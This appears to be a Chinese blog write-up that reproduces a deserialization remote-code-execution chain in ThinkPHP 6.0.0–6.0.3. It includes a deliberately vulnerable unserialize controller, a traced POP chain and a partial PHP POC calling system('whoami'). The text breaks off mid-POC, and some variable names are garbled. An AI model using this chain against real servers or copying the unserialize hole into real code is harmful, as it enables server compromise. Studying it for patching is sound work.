网络知识 娱乐 ThinkPHP v6.0.x反序列化漏洞复现与分析

ThinkPHP v6.0.x反序列化漏洞复现与分析

thinkPHP v6.0.0-6.0.3反序列化漏洞复现与分析

环境搭建

初始环境,需要注意的是,新版v6基于PHP7.1+开发

php-7.2.9
ThinkPHP v6.0.3

使用composer进行安装

composer create-project topthink/think=6.0.3 tp6.0

⚠️坑点,截止到2021/09/16 ,默认核心安装的为framework=v6.0.9 think-orm=2.0.44 但是到最后面部分代码段已经修复了利用点,所以为了避免大家再次踩坑,请部署完成后,请前往composer.json 中,修改核心依赖相关版本,回退更新

"require": {
         "php": ">=7.1.0",
         "topthink/framework": "6.0.3",
         "topthink/think-orm": "2.0.30"
     },

在这里插入图片描述

进行回退更新,没有出现报错即成功

composer update

开启web服务进行验证访问

http://localhost/tp6.0/public/

注意:实际测试需要PHP版本>7.2.5

在这里插入图片描述

****tp6.0 版本安装后默认使用单应用模式部署,url访问受到路由模式的影响,为了使用方便,我们先要去/config/app.php 中将with_route => false
在这里插入图片描述

访问控制器中的hello方法名,并且传递参数值

http://localhost/tp6.0/public/index.php/index/hello/name/123

构建反序列化入口

需要编写一个控制器模块并存在反序列化可控点,这样才能进行利用

tp6.0appcontrollerIndex.php

在这里插入图片描述

  public function lyy9(){
        $tmp = $_POST['lyy9'];
        echo $tmp;
        unserialize($tmp);
    }

访问thinkphp路由

http://localhost/tp6.0/public/index.php/index/lyy9

漏洞分析

__destruct()链条

漏洞的一般起点在__destruct() 函数,这次位于/vendor/topthink/think-orm/src/Model.php
在这里插入图片描述

this→lazySave可控,跟进save()方法

在这里插入图片描述

因为之前的__toString()链条仍然可以使用,因此要想办法找一个可以进入到__toString()的点,这里我们关注的是updateData() 所以前面的判断需要让他不成立,因为是||所以两个都不能为真

跟进isEmpty()

在这里插入图片描述

发现$this→data可控,让data[]不为空,则返回false ,第一个条件满足了,再跟进trigger()

在这里插入图片描述

可以发现这里$this→withEvent可控,设置withEventfalse 这样就会返回true,这样回到上一层if(false || false === true) 不成立,就会跳过判断

进入$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

exists可控,我们跟进updateData()

    protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();

        foreach ($this->relationWrite as $name => $val) {
            if (!is_array($val)) {
                continue;
            }

            foreach ($val as $key) {
                if (isset($data[$key])) {
                    unset($data[$key]);
                }
            }
        }

        // 模型更新
        $db = $this->db();
        $db->startTrans();

        try {
            $this->key = null;
            $where     = $this->getWhere();

            $result = $db->where($where)
                ->strict(false)
                ->cache(true)
                ->setOption('key', $this->key)
                ->field($allowFields)
                ->update($data);

            $this->checkResult($result);

            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            $db->commit();

            // 更新回调
            $this->trigger('AfterUpdate');

            return true;
        } catch (Exception $e) {
            $db->rollback();
            throw $e;
        }
    }

在这里插入图片描述

这里前面trigger 可控,所以会直接跳过,checkData()并没有定义,也可以直接略过,跟进getChangedData()

在这里插入图片描述

this→force可控,当为true 时,返回$this→data ,则$data=$this→data 继续向下跟进

在这里插入图片描述

可以看到,要进入checkAllowFields(),需要进行判断$data是否为空,这里要将$data 置为非空,这样就可以跳过判断,跟进checkAllowFields()

在这里插入图片描述

$field$schema 都可控,当构造为空时,就可以进入db() 方法
在这里插入图片描述

可以看到,这里有. 号,当我们进行构造对象进行字符串拼接时,就会触发__toString() 魔术方法

上半段pop链条

__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()

参数构造

$this->exists = true;
$this->$lazySave = true;
$this->$withEvent = false;

__toString()链条

后面就是延续tp5反序列化的触发toString魔术方法了,就是原来vendor/topthink/think-orm/src/model/concern/Conversion.php的__toString开始的利用链
在这里插入图片描述

跟进toJson()

在这里插入图片描述

继续跟进toArray()

   public function toArray(): array
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]          = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]         = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加属性(必须定义获取器)
        foreach ($this->append as $key => $name) {
            $this->appendAttrToArray($item, $key, $name);
        }

        return $item;
    }

第三个foreach里面存在getAttr方法,他是个关键方法,我们需要触发他

触发条件: t h i s − > v i s i b l e [ this->visible[ this>visible[key]存在,即 t h i s − > v i s i b l e 存 在 键 名 为 this->visible存在键名为 this>visiblekey的键,而 k e y 则 来 源 于 key则来源于 keydata的键名, d a t a 则 来 源 于 data则来源于 datathis->data,也就是说 t h i s − > d a t a 和 this->data和 this>datathis->visible要有相同的键名$key

然后跟进到getAttr

在这里插入图片描述

$key值就传入到了getData()方法,跟进getData方法

在这里插入图片描述

第一个if判断传入的值, k e y 值 不 为 空 , 因 此 绕 过 , 然 后 key值不为空,因此绕过,然后 keykey值传入到了getRealFieldName()方法,跟进getRealFieldName方法

在这里插入图片描述

$this->stricttrue时直接返回$name,即$key

回到getData方法,此时$fieldName = $key,进入判断语句:

if (array_key_exists($fieldName, $this->data)) {
            return $this->data[$fieldName];
        } elseif (array_key_exists($fieldName, $this->relation)) {
            return $this->relation[$fieldName];
        }

返回$this->data[$fielName]也就是$this->data[$key],记为$value

再回到getAttr,也就是返回 t h i s − > g e t V a l u e ( this->getValue( this>getValue(key, $value, null);

再跟进到getValue

在这里插入图片描述

首先$fieldName=$key 然后进行判断$this→withAttr[$fieldName] 是否存在进入二层判断,默认$relation=false ,不符合,进入下一个判断,默认json为空,主要在后一半$this→withAttr[$fieldName] 是否为数组,最终利用点在于后面的动态函数调用,所以前面两个判断都要绕过。正好withAttr[]我们是可以控制的,只要我们能让$key对应的不为数组就可以绕过

$closure = $this->withAttr[$fieldName];
$value   = $closure($value, $this->data);

前面图中已经很明显写出来$fieldName=$key $value=$this→data[$key]

这样的话,就会把$this->withAttr[$key]withAttr数组$key键对应的值)当做函数名动态执行,参数为$value=$this->data[$key]

例如这样进行构造

$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"];

最后实际执行的是system("whoami")

到这里呈现了一条完整的POP链。

__toString()-->toJson()-->toArray()-->getAttr()->getData()->getRealFieldName()-->getValue()

POC构造

<?php
 namespace thinkmodelconcern;
 trait Attribute
 {
     private $data = ["key"=>"whoami"];
     private $withAttr = ["key"=>"system"];
 }
 namespace think;
 abstract class Model
 {
     use modelconcernAttribute;
     private $lazySave = true;
     protected $withEvent = false;
     private $exists = true;
     private $force = true;
     protected $name;
     public function __construct($obj=""){
         $this->name=$obj;
     }
 }
 namespace thinkmodel;
 use thinkModel;
 class Pivot extends Model
 {}
 $a=new Pivot();
 $b=new Pivot($a);
 echo urlencode(